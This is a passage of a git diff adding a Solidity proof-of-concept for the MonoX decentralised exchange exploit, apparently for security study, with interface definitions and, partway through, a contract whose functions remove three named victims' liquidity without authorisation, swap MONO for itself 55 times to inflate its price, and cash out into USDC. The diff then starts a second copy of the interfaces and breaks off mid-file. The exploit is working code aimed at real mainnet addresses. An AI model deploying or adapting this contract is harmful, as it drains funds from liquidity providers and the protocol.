+            uint256 vcashDebt
+        );
+
+    function initialize(address _monoXPool, address _vcash) external;
+
+    function lastTradedBlock(address) external view returns (uint256);
+
+    function listNewToken(
+        address _token,
+        uint256 _price,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        address to
+    ) external returns (uint256 _pid, uint256 liquidity);
+
+    function monoXPool() external view returns (address);
+
+    function owner() external view returns (address);
+
+    function poolSize() external view returns (uint256);
+
+    function poolSizeMinLimit() external view returns (uint256);
+
+    function pools(address)
+        external
+        view
+        returns (
+            uint256 pid,
+            uint256 lastPoolValue,
+            address token,
+            uint8 status,
+            uint112 vcashDebt,
+            uint112 vcashCredit,
+            uint112 tokenBalance,
+            uint256 price,
+            uint256 createdAt
+        );
+
+    function priceAdjusterRole(address) external view returns (bool);
+
+    function rebalancePool(address _token) external;
+
+    function removeLiquidity(
+        address _token,
+        uint256 liquidity,
+        address to,
+        uint256 minVcashOut,
+        uint256 minTokenOut
+    ) external returns (uint256 vcashOut, uint256 tokenOut);
+
+    function removeLiquidityETH(
+        uint256 liquidity,
+        address to,
+        uint256 minVcashOut,
+        uint256 minTokenOut
+    ) external returns (uint256 vcashOut, uint256 tokenOut);
+
+    function renounceOwnership() external;
+
+    function setDevFee(uint16 _devFee) external;
+
+    function setFeeTo(address _feeTo) external;
+
+    function setFees(uint16 _fees) external;
+
+    function setPoolSizeMinLimit(uint256 _poolSizeMinLimit) external;
+
+    function setSynthPoolPrice(address _token, uint256 price) external;
+
+    function setTokenInsurance(address _token, uint256 _insurance) external;
+
+    function setTokenStatus(address _token, uint8 _status) external;
+
+    function swapETHForExactToken(
+        address tokenOut,
+        uint256 amountInMax,
+        uint256 amountOut,
+        address to,
+        uint256 deadline
+    ) external payable returns (uint256 amountIn);
+
+    function swapExactETHForToken(
+        address tokenOut,
+        uint256 amountOutMin,
+        address to,
+        uint256 deadline
+    ) external payable returns (uint256 amountOut);
+
+    function swapExactTokenForETH(
+        address tokenIn,
+        uint256 amountIn,
+        uint256 amountOutMin,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountOut);
+
+    function swapExactTokenForToken(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountIn,
+        uint256 amountOutMin,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountOut);
+
+    function swapTokenForExactETH(
+        address tokenIn,
+        uint256 amountInMax,
+        uint256 amountOut,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountIn);
+
+    function swapTokenForExactToken(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountInMax,
+        uint256 amountOut,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountIn);
+
+    function tokenInsurance(address) external view returns (uint256);
+
+    function tokenPoolStatus(address) external view returns (uint8);
+
+    function transferOwnership(address newOwner) external;
+
+    function updatePoolPrice(address _token, uint256 _newPrice) external;
+
+    function updatePoolStatus(address _token, uint8 _status) external;
+
+    function updatePriceAdjuster(address account, bool _status) external;
+}
+
+interface MonoXPool {
+    event ApprovalForAll(
+        address indexed account,
+        address indexed operator,
+        bool approved
+    );
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+    event TransferBatch(
+        address indexed operator,
+        address indexed from,
+        address indexed to,
+        uint256[] ids,
+        uint256[] values
+    );
+    event TransferSingle(
+        address indexed operator,
+        address indexed from,
+        address indexed to,
+        uint256 id,
+        uint256 value
+    );
+    event URI(string value, uint256 indexed id);
+
+    function WETH() external view returns (address);
+
+    function admin() external view returns (address);
+
+    function balanceOf(address account, uint256 id)
+        external
+        view
+        returns (uint256);
+
+    function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
+        external
+        view
+        returns (uint256[] memory);
+
+    function burn(
+        address account,
+        uint256 id,
+        uint256 amount
+    ) external;
+
+    function createdAt(uint256) external view returns (uint256);
+
+    function depositWETH(uint256 amount) external;
+
+    function initialize(address _WETH) external;
+
+    function isApprovedForAll(address account, address operator)
+        external
+        view
+        returns (bool);
+
+    function isUnofficial(uint256) external view returns (bool);
+
+    function liquidityLastAddedOf(uint256 pid, address account)
+        external
+        view
+        returns (uint256);
+
+    function mint(
+        address account,
+        uint256 id,
+        uint256 amount
+    ) external;
+
+    function mintLp(
+        address account,
+        uint256 id,
+        uint256 amount,
+        bool _isUnofficial
+    ) external;
+
+    function owner() external view returns (address);
+
+    function renounceOwnership() external;
+
+    function safeBatchTransferFrom(
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) external;
+
+    function safeTransferERC20Token(
+        address token,
+        address to,
+        uint256 amount
+    ) external;
+
+    function safeTransferETH(address to, uint256 amount) external;
+
+    function safeTransferFrom(
+        address from,
+        address to,
+        uint256 id,
+        uint256 amount,
+        bytes memory data
+    ) external;
+
+    function setAdmin(address _admin) external;
+
+    function setApprovalForAll(address operator, bool approved) external;
+
+    function setURI(string memory uri) external;
+
+    function setWhitelist(address _whitelist, bool _isWhitelist) external;
+
+    function supportsInterface(bytes4 interfaceId) external view returns (bool);
+
+    function topHolder(uint256) external view returns (address);
+
+    function topLPHolderOf(uint256 pid) external view returns (address);
+
+    function totalSupply(uint256) external view returns (uint256);
+
+    function totalSupplyOf(uint256 pid) external view returns (uint256);
+
+    function transferOwnership(address newOwner) external;
+
+    function uri(uint256) external view returns (string memory);
+
+    function withdrawWETH(uint256 amount) external;
+    // 由于高版本的问题，这行要注释掉
+    // receive() external payable;
+}
+
+interface WETH9 {
+    function name() external view returns (string memory);
+
+    function approve(address guy, uint256 wad) external returns (bool);
+
+    function totalSupply() external view returns (uint256);
+
+    function transferFrom(
+        address src,
+        address dst,
+        uint256 wad
+    ) external returns (bool);
+
+    function withdraw(uint256 wad) external;
+
+    function decimals() external view returns (uint8);
+
+    function balanceOf(address) external view returns (uint256);
+
+    function symbol() external view returns (string memory);
+
+    function transfer(address dst, uint256 wad) external returns (bool);
+
+    function deposit() external payable;
+
+    function allowance(address, address) external view returns (uint256);
+    // 由于高版本的问题，这行要注释掉
+    // fallback() external payable;
+
+    event Approval(address indexed src, address indexed guy, uint256 wad);
+    event Transfer(address indexed src, address indexed dst, uint256 wad);
+    event Deposit(address indexed dst, uint256 wad);
+    event Withdrawal(address indexed src, uint256 wad);
+}
+
+interface MonoToken {
+    event Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 value
+    );
+    event DelegateChanged(
+        address indexed delegator,
+        address indexed fromDelegate,
+        address indexed toDelegate
+    );
+    event DelegateVotesChanged(
+        address indexed delegate,
+        uint256 previousBalance,
+        uint256 newBalance
+    );
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+    event RoleAdminChanged(
+        bytes32 indexed role,
+        bytes32 indexed previousAdminRole,
+        bytes32 indexed newAdminRole
+    );
+    event RoleGranted(
+        bytes32 indexed role,
+        address indexed account,
+        address indexed sender
+    );
+    event RoleRevoked(
+        bytes32 indexed role,
+        address indexed account,
+        address indexed sender
+    );
+    event Snapshot(uint256 id);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    function DEFAULT_ADMIN_ROLE() external view returns (bytes32);
+
+    function DELEGATION_TYPEHASH() external view returns (bytes32);
+
+    function DOMAIN_TYPEHASH() external view returns (bytes32);
+
+    function MINTER_ROLE() external view returns (bytes32);
+
+    function allowance(address owner, address spender)
+        external
+        view
+        returns (uint256);
+
+    function approve(address spender, uint256 amount) external returns (bool);
+
+    function balanceOf(address account) external view returns (uint256);
+
+    function balanceOfAt(address account, uint256 snapshotId)
+        external
+        view
+        returns (uint256);
+
+    function cap() external view returns (uint256);
+
+    function checkpoints(address, uint32)
+        external
+        view
+        returns (uint32 fromBlock, uint256 votes);
+
+    function childChainManagerProxy() external view returns (address);
+
+    function decimals() external view returns (uint8);
+
+    function decreaseAllowance(address spender, uint256 subtractedValue)
+        external
+        returns (bool);
+
+    function delegate(address delegatee) external;
+
+    function delegateBySig(
+        address delegatee,
+        uint256 nonce,
+        uint256 expiry,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function delegates(address delegator) external view returns (address);
+
+    function deposit(address user, bytes memory depositData) external;
+
+    function getCurrentVotes(address account) external view returns (uint256);
+
+    function getPriorVotes(address account, uint256 blockNumber)
+        external
+        view
+        returns (uint256);
+
+    function getRoleAdmin(bytes32 role) external view returns (bytes32);
+
+    function getRoleMember(bytes32 role, uint256 index)
+        external
+        view
+        returns (address);
+
+    function getRoleMemberCount(bytes32 role) external view returns (uint256);
+
+    function grantRole(bytes32 role, address account) external;
+
+    function hasRole(bytes32 role, address account)
+        external
+        view
+        returns (bool);
+
+    function increaseAllowance(address spender, uint256 addedValue)
+        external
+        returns (bool);
+
+    function mint(address _to, uint256 _amount) external;
+
+    function name() external view returns (string memory);
+
+    function nonces(address) external view returns (uint256);
+
+    function numCheckpoints(address) external view returns (uint32);
+
+    function owner() external view returns (address);
+
+    function renounceOwnership() external;
+
+    function renounceRole(bytes32 role, address account) external;
+
+    function revokeRole(bytes32 role, address account) external;
+
+    function setMinter(address _minter) external;
+
+    function snapshot() external returns (uint256 currentId);
+
+    function symbol() external view returns (string memory);
+
+    function totalSupply() external view returns (uint256);
+
+    function totalSupplyAt(uint256 snapshotId) external view returns (uint256);
+
+    function transfer(address recipient, uint256 amount)
+        external
+        returns (bool);
+
+    function transferFrom(
+        address sender,
+        address recipient,
+        uint256 amount
+    ) external returns (bool);
+
+    function transferOwnership(address newOwner) external;
+
+    function updateChildChainManager(address newChildChainManagerProxy)
+        external;
+
+    function withdraw(uint256 amount) external;
+}
+
+
+interface USDC {
+    event Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 value
+    );
+    event AuthorizationCanceled(
+        address indexed authorizer,
+        bytes32 indexed nonce
+    );
+    event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
+    event Blacklisted(address indexed _account);
+    event BlacklisterChanged(address indexed newBlacklister);
+    event Burn(address indexed burner, uint256 amount);
+    event MasterMinterChanged(address indexed newMasterMinter);
+    event Mint(address indexed minter, address indexed to, uint256 amount);
+    event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
+    event MinterRemoved(address indexed oldMinter);
+    event OwnershipTransferred(address previousOwner, address newOwner);
+    event Pause();
+    event PauserChanged(address indexed newAddress);
+    event RescuerChanged(address indexed newRescuer);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+    event UnBlacklisted(address indexed _account);
+    event Unpause();
+
+    function CANCEL_AUTHORIZATION_TYPEHASH() external view returns (bytes32);
+
+    function DOMAIN_SEPARATOR() external view returns (bytes32);
+
+    function PERMIT_TYPEHASH() external view returns (bytes32);
+
+    function RECEIVE_WITH_AUTHORIZATION_TYPEHASH()
+        external
+        view
+        returns (bytes32);
+
+    function TRANSFER_WITH_AUTHORIZATION_TYPEHASH()
+        external
+        view
+        returns (bytes32);
+
+    function allowance(address owner, address spender)
+        external
+        view
+        returns (uint256);
+
+    function approve(address spender, uint256 value) external returns (bool);
+
+    function authorizationState(address authorizer, bytes32 nonce)
+        external
+        view
+        returns (bool);
+
+    function balanceOf(address account) external view returns (uint256);
+
+    function blacklist(address _account) external;
+
+    function blacklister() external view returns (address);
+
+    function burn(uint256 _amount) external;
+
+    function cancelAuthorization(
+        address authorizer,
+        bytes32 nonce,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function configureMinter(address minter, uint256 minterAllowedAmount)
+        external
+        returns (bool);
+
+    function currency() external view returns (string memory);
+
+    function decimals() external view returns (uint8);
+
+    function decreaseAllowance(address spender, uint256 decrement)
+        external
+        returns (bool);
+
+    function increaseAllowance(address spender, uint256 increment)
+        external
+        returns (bool);
+
+    function initialize(
+        string memory tokenName,
+        string memory tokenSymbol,
+        string memory tokenCurrency,
+        uint8 tokenDecimals,
+        address newMasterMinter,
+        address newPauser,
+        address newBlacklister,
+        address newOwner
+    ) external;
+
+    function initializeV2(string memory newName) external;
+
+    function initializeV2_1(address lostAndFound) external;
+
+    function isBlacklisted(address _account) external view returns (bool);
+
+    function isMinter(address account) external view returns (bool);
+
+    function masterMinter() external view returns (address);
+
+    function mint(address _to, uint256 _amount) external returns (bool);
+
+    function minterAllowance(address minter) external view returns (uint256);
+
+    function name() external view returns (string memory);
+
+    function nonces(address owner) external view returns (uint256);
+
+    function owner() external view returns (address);
+
+    function pause() external;
+
+    function paused() external view returns (bool);
+
+    function pauser() external view returns (address);
+
+    function permit(
+        address owner,
+        address spender,
+        uint256 value,
+        uint256 deadline,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function receiveWithAuthorization(
+        address from,
+        address to,
+        uint256 value,
+        uint256 validAfter,
+        uint256 validBefore,
+        bytes32 nonce,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function removeMinter(address minter) external returns (bool);
+
+    function rescueERC20(
+        address tokenContract,
+        address to,
+        uint256 amount
+    ) external;
+
+    function rescuer() external view returns (address);
+
+    function symbol() external view returns (string memory);
+
+    function totalSupply() external view returns (uint256);
+
+    function transfer(address to, uint256 value) external returns (bool);
+
+    function transferFrom(
+        address from,
+        address to,
+        uint256 value
+    ) external returns (bool);
+
+    function transferOwnership(address newOwner) external;
+
+    function transferWithAuthorization(
+        address from,
+        address to,
+        uint256 value,
+        uint256 validAfter,
+        uint256 validBefore,
+        bytes32 nonce,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) external;
+
+    function unBlacklist(address _account) external;
+
+    function unpause() external;
+
+    function updateBlacklister(address _newBlacklister) external;
+
+    function updateMasterMinter(address _newMasterMinter) external;
+
+    function updatePauser(address _newPauser) external;
+
+    function updateRescuer(address newRescuer) external;
+
+    function version() external view returns (string memory);
+}
+
+contract POC{
+
+    address WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
+
+    address Mono_Token_Address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
+
+    address MonoXPool_Address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
+
+    address Monoswap_address =  0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
+
+    address Innocent_user_1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
+
+    address Innocent_user_2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
+
+    address Innocent_user_3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
+
+    address USDC_Address =  0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+
+    uint256 Amount_Of_MonoToken_On_XPool;
+
+    uint256 Amount_Of_USDC_On_XPool;
+    
+    uint256 Amoount_Of_Mono_On_This; 
+
+    function S1_Deposit_ETH() public {
+        // Deposit ETH
+        WETH9(WETH9_Address).deposit{value:address(this).balance,gas:40000}();
+    }
+
+
+    function S2_Buy_Mono_With_WETH_On_MonoSwap() public{
+        // Approve ETH
+        WETH9(WETH9_Address).approve(Monoswap_address,0.1 ether);
+        // Buy mono with WETH
+        Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_Address,Mono_Token_Address,0.1 ether,1,address(this),block.timestamp);
+    }
+
+    function S3_RemoveLiquidity_From_3_Users() public{
+
+        // 查询第一个大户在XPool中质押的Mono数量
+        uint256 balance_Of_User1 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_1,10);
+        // 越权移除第一个大户的流动性
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User1,Innocent_user_1,0,1);
+
+        // 查询第二个大户在XPool中质押的Mono数量
+        uint256 balance_Of_User2 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_2,10);
+        // 越权移除第二个大户的流动性
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User2,Innocent_user_2,0,1);
+
+        // 查询第三个大户在XPool中质押的Mono数量
+        uint256 balance_Of_User3 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_3,10);
+        // 越权移除第三个大户的流动性
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User3,Innocent_user_3,0,1);
+    }
+
+    function S4_AddLiquidity_On_MonoSwap() public{
+        // Approve mono to monoswap
+        MonoToken(Mono_Token_Address).approve(Monoswap_address,type(uint256).max);
+
+        // AddLiquidity For myself
+        Monoswap(Monoswap_address).addLiquidity(Mono_Token_Address,196875656,address(this));
+    }
+
+
+    function S5_Swap_Mono_for_Mono_55_Times() public{
+        // 循环55次
+        for(uint256 i=0;i < 55; i++){
+            // 查询XPool中Mono此时的数量
+            (,,,,,,Amount_Of_MonoToken_On_XPool,,) = Monoswap(Monoswap_address).pools(Mono_Token_Address);
+            // 用Mono换Mono 传入的第三个参数 AmountIn = Amount_Of_MonoToken_On_XPool - 1
+            Monoswap(Monoswap_address).swapExactTokenForToken(Mono_Token_Address,Mono_Token_Address,Amount_Of_MonoToken_On_XPool-1,0,address(this),block.timestamp);
+            
+        }
+    }
+
+    function S6_Swap_Mono_For_USDC() public{
+        // 查询XPool中USDC的数量
+        (,,,,,,Amount_Of_USDC_On_XPool,,) = Monoswap(Monoswap_address).pools(USDC_Address);
+        // 查询此时攻击合约自己的Mono余额
+        Amoount_Of_Mono_On_This = MonoToken(Mono_Token_Address).balanceOf(address(this));
+        // 用Mono换USDC
+        Monoswap(Monoswap_address).swapTokenForExactToken(Mono_Token_Address,USDC_Address,Amoount_Of_Mono_On_This,4000000000000,msg.sender,block.timestamp);
+    }
+
+    // 必须声明该函数才能成为ERC1155的Receiver, 不然添加流动性的那一步会revert 
+    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
+        bytes4 a = 0xf23a6e61;
+        return a;
+    }
+
+    receive() payable external{}
+
+
+}
\ No newline at end of file
diff --git "a/security/Analysis&POC/MonoX/images/\346\224\273\345\207\273\345\211\215\347\232\204MetaMask\351\222\261\345\214\205\344\275\231\351\242\235.png" "b/security/Analysis&POC/MonoX/images/\346\224\273\345\207\273\345\211\215\347\232\204MetaMask\351\222\261\345\214\205\344\275\231\351\242\235.png"
new file mode 100644
index 000000000..8f99cab9f
Binary files /dev/null and "b/security/Analysis&POC/MonoX/images/\346\224\273\345\207\273\345\211\215\347\232\204MetaMask\351\222\261\345\214\205\344\275\231\351\242\235.png" differ
diff --git "a/security/Analysis&POC/MonoX/images/\346\224\273\345\207\273\345\220\216\347\232\204\351\222\261\345\214\205\344\275\231\351\242\235.png" "b/security/Analysis&POC/MonoX/images/\346\224\273\345\207\273\345\220\216\347\232\204\351\222\261\345\214\205\344\275\231\351\242\235.png"
new file mode 100644
index 000000000..07823b646
Binary files /dev/null and "b/security/Analysis&POC/MonoX/images/\346\224\273\345\207\273\345\220\216\347\232\204\351\222\261\345\214\205\344\275\231\351\242\235.png" differ
diff --git "a/security/Analysis&POC/MonoX/images/\351\203\250\347\275\262\346\224\273\345\207\273\345\220\210\347\272\246.png" "b/security/Analysis&POC/MonoX/images/\351\203\250\347\275\262\346\224\273\345\207\273\345\220\210\347\272\246.png"
new file mode 100644
index 000000000..36b6def14
Binary files /dev/null and "b/security/Analysis&POC/MonoX/images/\351\203\250\347\275\262\346\224\273\345\207\273\345\220\210\347\272\246.png" differ
diff --git a/security/Analysis&POC/MonoX/poc.sol b/security/Analysis&POC/MonoX/poc.sol
new file mode 100644
index 000000000..311314b69
--- /dev/null
+++ b/security/Analysis&POC/MonoX/poc.sol
@@ -0,0 +1,874 @@
+// SPDX-License-Identifier: UNLICENSED
+// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.1. SEE SOURCE BELOW. !!
+pragma solidity >=0.7.0 <0.9.0;
+
+interface Monoswap {
+    event AddLiquidity(
+        address indexed provider,
+        uint256 indexed pid,
+        address indexed token,
+        uint256 liquidityAmount,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        uint256 price
+    );
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+    event PoolBalanced(address _token, uint256 vcashIn);
+    event PoolStatusChanged(address _token, uint8 oldStatus, uint8 newStatus);
+    event RemoveLiquidity(
+        address indexed provider,
+        uint256 indexed pid,
+        address indexed token,
+        uint256 liquidityAmount,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        uint256 price
+    );
+    event Swap(
+        address indexed user,
+        address indexed tokenIn,
+        address indexed tokenOut,
+        uint256 amountIn,
+        uint256 amountOut,
+        uint256 swapVcashValue
+    );
+    event SyntheticPoolPriceChanged(address _token, uint256 price);
+
+    function _removeLiquidity(
+        address _token,
+        uint256 liquidity,
+        address to
+    )
+        external
+        view
+        returns (
+            uint256 poolValue,
+            uint256 liquidityIn,
+            uint256 vcashOut,
+            uint256 tokenOut
+        );
+
+    function addLiquidity(
+        address _token,
+        uint256 _amount,
+        address to
+    ) external returns (uint256 liquidity);
+
+    function addLiquidityETH(address to)
+        external
+        payable
+        returns (uint256 liquidity);
+
+    function addLiquidityPair(
+        address _token,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        address to
+    ) external returns (uint256 liquidity);
+
+    function addSpecialToken(
+        address _token,
+        uint256 _price,
+        uint8 _status
+    ) external returns (uint256 _pid);
+
+    function getAmountIn(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountOut
+    )
+        external
+        view
+        returns (
+            uint256 tokenInPrice,
+            uint256 tokenOutPrice,
+            uint256 amountIn,
+            uint256 tradeVcashValue
+        );
+
+    function getAmountOut(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountIn
+    )
+        external
+        view
+        returns (
+            uint256 tokenInPrice,
+            uint256 tokenOutPrice,
+            uint256 amountOut,
+            uint256 tradeVcashValue
+        );
+
+    function getConfig()
+        external
+        view
+        returns (
+            address _vCash,
+            address _weth,
+            address _feeTo,
+            uint16 _fees,
+            uint16 _devFee
+        );
+
+    function getPool(address _token)
+        external
+        view
+        returns (
+            uint256 poolValue,
+            uint256 tokenBalanceVcashValue,
+            uint256 vcashCredit,
+            uint256 vcashDebt
+        );
+
+    function initialize(address _monoXPool, address _vcash) external;
+
+    function lastTradedBlock(address) external view returns (uint256);
+
+    function listNewToken(
+        address _token,
+        uint256 _price,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        address to
+    ) external returns (uint256 _pid, uint256 liquidity);
+
+    function monoXPool() external view returns (address);
+
+    function owner() external view returns (address);
+
+    function poolSize() external view returns (uint256);
+
+    function poolSizeMinLimit() external view returns (uint256);
+
+    function pools(address)
+        external
+        view
+        returns (
+            uint256 pid,
+            uint256 lastPoolValue,
+            address token,
+            uint8 status,
+            uint112 vcashDebt,
+            uint112 vcashCredit,
+            uint112 tokenBalance,
+            uint256 price,
+            uint256 createdAt
+        );
+
+    function priceAdjusterRole(address) external view returns (bool);
+
+    function rebalancePool(address _token) external;
+
+    function removeLiquidity(
+        address _token,
+        uint256 liquidity,
+        address to,
+        uint256 minVcashOut,
+        uint256 minTokenOut
+    ) external returns (uint256 vcashOut, uint256 tokenOut);
+
+    function removeLiquidityETH(
+        uint256 liquidity,
+        address to,
+        uint256 minVcashOut,
+        uint256 minTokenOut
+    ) external returns (uint256 vcashOut, uint256 tokenOut);
+
+    function renounceOwnership() external;
+
+    function setDevFee(uint16 _devFee) external;
+
+    function setFeeTo(address _feeTo) external;
+
+    function setFees(uint16 _fees) external;
+
+    function setPoolSizeMinLimit(uint256 _poolSizeMinLimit) external;
+
+    function setSynthPoolPrice(address _token, uint256 price) external;
+
+    function setTokenInsurance(address _token, uint256 _insurance) external;
+
+    function setTokenStatus(address _token, uint8 _status) external;
+
+    function swapETHForExactToken(
+        address tokenOut,
+        uint256 amountInMax,
+        uint256 amountOut,
+        address to,
+        uint256 deadline
+    ) external payable returns (uint256 amountIn);
+
+    function swapExactETHForToken(
+        address tokenOut,
+        uint256 amountOutMin,
+        address to,
+        uint256 deadline
+    ) external payable returns (uint256 amountOut);
+
+    function swapExactTokenForETH(
+        address tokenIn,
+        uint256 amountIn,
+        uint256 amountOutMin,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountOut);
+
+    function swapExactTokenForToken(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountIn,
+        uint256 amountOutMin,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountOut);
+
+    function swapTokenForExactETH(
+        address tokenIn,
+        uint256 amountInMax,
+        uint256 amountOut,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountIn);
+
+    function swapTokenForExactToken(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountInMax,
+        uint256 amountOut,
+        address to,
+        uint256 deadline
+    ) external returns (uint256 amountIn);
+
+    function tokenInsurance(address) external view returns (uint256);
+
+    function tokenPoolStatus(address) external view returns (uint8);
+
+    function transferOwnership(address newOwner) external;
+
+    function updatePoolPrice(address _token, uint256 _newPrice) external;
+
+    function updatePoolStatus(address _token, uint8 _status) external;
+
+    function updatePriceAdjuster(address account, bool _status) external;
+}
+
+interface MonoXPool {
+    event ApprovalForAll(
+        address indexed account,
+        address indexed operator,
+        bool approved
+    );
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+    event TransferBatch(
+        address indexed operator,
+        address indexed from,
+        address indexed to,
+        uint256[] ids,
+        uint256[] values
+    );
+    event TransferSingle(
+        address indexed operator,
+        address indexed from,
+        address indexed to,
+        uint256 id,
+        uint256 value
+    );
+    event URI(string value, uint256 indexed id);
+
+    function WETH() external view returns (address);
+
+    function admin() external view returns (address);
+
+    function balanceOf(address account, uint256 id)
+        external
+        view
+        returns (uint256);
+
+    function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
+        external
+        view
+        returns (uint256[] memory);
+
+    function burn(
+        address account,
+        uint256 id,
+        uint256 amount
+    ) external;
+
+    function createdAt(uint256) external view returns (uint256);
+
+    function depositWETH(uint256 amount) external;
+
+    function initialize(address _WETH) external;
+
+    function isApprovedForAll(address account, address operator)
+        external
+        view
+        returns (bool);
+
+    function isUnofficial(uint256) external view returns (bool);
+
+    function liquidityLastAddedOf(uint256 pid, address account)
+        external
+        view
+        returns (uint256);
+
+    function mint(
+        address account,
+        uint256 id,
+        uint256 amount
+    ) external;
+
+    function mintLp(
+        address account,
+        uint256 id,
+        uint256 amount,
+        bool _isUnofficial
+    ) external;
+
+    function owner() external view returns (address);
+
+    function renounceOwnership() external;
+
+    function safeBatchTransferFrom(
+        address from,
+        address to,
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) external;
+
+    function safeTransferERC20Token(
+        address token,
+        address to,
+        uint256 amount
+    ) external;
+
+    function safeTransferETH(address to, uint256 amount) external;
+
+    function safeTransferFrom(
+        address from,
+        address to,
+        uint256 id,
+        uint256 amount,
+        bytes memory data
+    ) external;
+
+    function setAdmin(address _admin) external;
+
+    function setApprovalForAll(address operator, bool approved) external;
+
+    function setURI(string memory uri) external;
+
+    function setWhitelist(address _whitelist, bool _isWhitelist) external;
+
+    function supportsInterface(bytes4 interfaceId) external view returns (bool);
+
+    function topHolder(uint256) external view returns (address);
+
+    function topLPHolderOf(uint256 pid) external view returns (address);
+
+    function totalSupply(uint256) external view returns (uint256);
+
+    function totalSupplyOf(uint256 pid) external view returns (uint256);
+
+    function transferOwnership(address newOwner) external;
+
+    function uri(uint256) external view returns (string memory);
+
+    function withdrawWETH(uint256 amount) external;
+    // 由于高版本的问题，这行要注释掉
+    // receive() external payable;
+}
+
+interface WETH9 {
+    function name() external view returns (string memory);
+
+    function approve(address guy, uint256 wad) external returns (bool);
+
+    function totalSupply() external view returns (uint256);
+
+    function transferFrom(
+        address src,
+        address dst,
+        uint256 wad
+    ) external returns (bool);
+
+    function withdraw(uint256 wad) external;
+
+    function decimals() external view returns (uint8);
+
+    function balanceOf(address) external view returns (uint256);
+
+    function symbol() external view returns (string memory);
+
+    function transfer(address dst, uint256 wad) external returns (bool);
+
+    function deposit() external payable;
+
+    function allowance(address, address) external view returns (uint256);
+    // 由于高版本的问题，这行要注释掉
+    // fallback() external payable;
+
+    event Approval(address indexed src, address indexed guy, uint256 wad);
+    event Transfer(address indexed src, address indexed dst, uint256 wad);
+    event Deposit(address indexed dst, uint256 wad);
+    event Withdrawal(address indexed src, uint256 wad);
+}
+
+interface MonoToken {
+    event Approval(
+        address indexed owner,
+        address indexed spender,
+        uint256 value
+    );
+    event DelegateChanged(
+        address indexed delegator,
+        address indexed fromDelegate,
+        address indexed toDelegate
+    );
+    event DelegateVotesChanged(
+        address indexed delegate,
+        uint256 previousBalance,
+        uint256 newBalance
+    );
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+    event RoleAdminChanged(
+        bytes32 indexed role,
+        bytes32 indexed previousAdminRole,
+        bytes32 indexed newAdminRole
+    );
+    event RoleGranted(
+        bytes32 indexed role,
+        address indexed account,
+        address indexed sender
+    );
+    event RoleRevoked(
+        bytes32 indexed role,
+        address indexed account,
+        address indexed sender
+    );
+    event Snapshot(uint256 id);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    function DEFAULT_ADMIN_ROLE() external view returns (bytes32);
+
+    function DELEGATION_TYPEHASH() external view returns (bytes32);
+
+    function DOMAIN_TYPEHASH() external view returns (bytes32);
+
+    function MINTER_ROLE() external view returns (bytes32);
+
+    function allowance(address owner, address spender)
+        external
+        view
+        returns (uint256);
+
+    function approve(address spender, uint256 amount) external returns (bool);
+
+    function balanceOf(address account) external view returns (uint256);
+
+    function balanceOfAt(address account, uint256 snapshotId)
+        external
+        view
+        returns (uint256);
+
+    function cap() external view returns (uint256);
+
+    function checkpoints(address, uint32)
+        external
+        view
+        returns (uint32 fromBlock, uint256 votes);
+
+    function childChainManagerProxy() external view returns (address);
+
